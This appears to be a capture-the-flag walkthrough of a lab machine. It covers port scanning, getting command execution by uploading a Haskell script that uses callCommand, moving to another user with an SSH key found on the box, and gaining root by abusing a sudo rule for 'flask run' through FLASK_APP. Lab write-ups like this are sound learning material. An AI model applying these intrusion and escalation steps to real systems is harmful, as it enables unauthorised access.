Objectives
Capture user.txt and root.txt flags
Steps
Enumeration
As always let’s start with a port scan of the machine
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for <IP>
Scanned at 2020-06-17 21:58:09 CEST for 31s
Not shown: 976 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5001/tcp open http Gunicorn 19.7.1
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see an open ssh and http server. As we can’t do anything with ssh yet let’s check out the website
HTTP
When we visit the website we’re greeted with an index saying something about functional programming with Haskell and a homework After going through the only link on the page we’re presented with the list of tasks for the said homework The submit link on the site doesn’t work so the logical thing to do is to bruteforce routes
1
200 - /submit
From the scan we conduct that the submit page is under another route
After visiting the page we are presented with an upload form
Trying to upload a normal txt file the site doesn’t say anything. As we know from previous pages this site probably accepts a haskell scripts so let’s try a simple hello world
1
main = putStrLn "Hello, World!"
We can see that our code is compiled and executed afterwards. Let’s try to execute a command on the box
1
2
import System.Process
main = callCommand "ls"
And now we have the ability to gain a shell. We can now run a simple nc reverse shell command from pentestmonkey or we can use a haskell reverse shell the room creator made (he also made an awesome blog post explaining how it works)
Shell (flask)
Now that we have a shell we can check who we are
1
2
$ id
uid=1001(flask) gid=1001(flask) groups=1001(flask)
As “flask” we can’t really execute anything to get a privileged shell so let’s browse the filesystem.
Looking through /home we can see two other users
1
2
3
4
$ ls -l /home
drwxr-xr-x 6 flask flask 4096 May 27 19:07 flask
drwxr-xr-x 7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x 7 prof prof 4096 May 27 19:07 prof
Looking through haskell’s files we don’t find anything but prof has a user flag and a .ssh folder with and ssh key. With that we can now switch to the other user.
Shell (prof)
Checking the usual stuff like suid files and sudo permissions we can see that we can execute “flask” as root without a password
1
2
3
4
5
Matching Defaults entries for prof on haskhell:
env_reset, env_keep+=FLASK_APP, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User prof may run the following commands on haskhell:
(root) NOPASSWD: /usr/bin/flask run
The flask command is just a python wrapper that will execute flask specific functions so the app runs properly but we can leverage that to run normal python code instead.
We can write a simple python script that executes /bin/sh and get a root shell.
~/app.py
1
2
import os
os.system("/bin/sh")
To execute that specific script as a flask app we need to specify the filename in a FLASK_APP env variable. Looking at sudo permissions we can see that this is the only env variable that is kept from our environment.
1
2
3
$ FLASK_APP=app.py sudo /usr/bin/flask run
# id
uid=0(root) gid=0(root) groups=0(root)
Shell (root)
Now that we have root we can read the root flag
Thanks to:
- sgtscout for creating this room
- you for reading.
Hope you learned something :)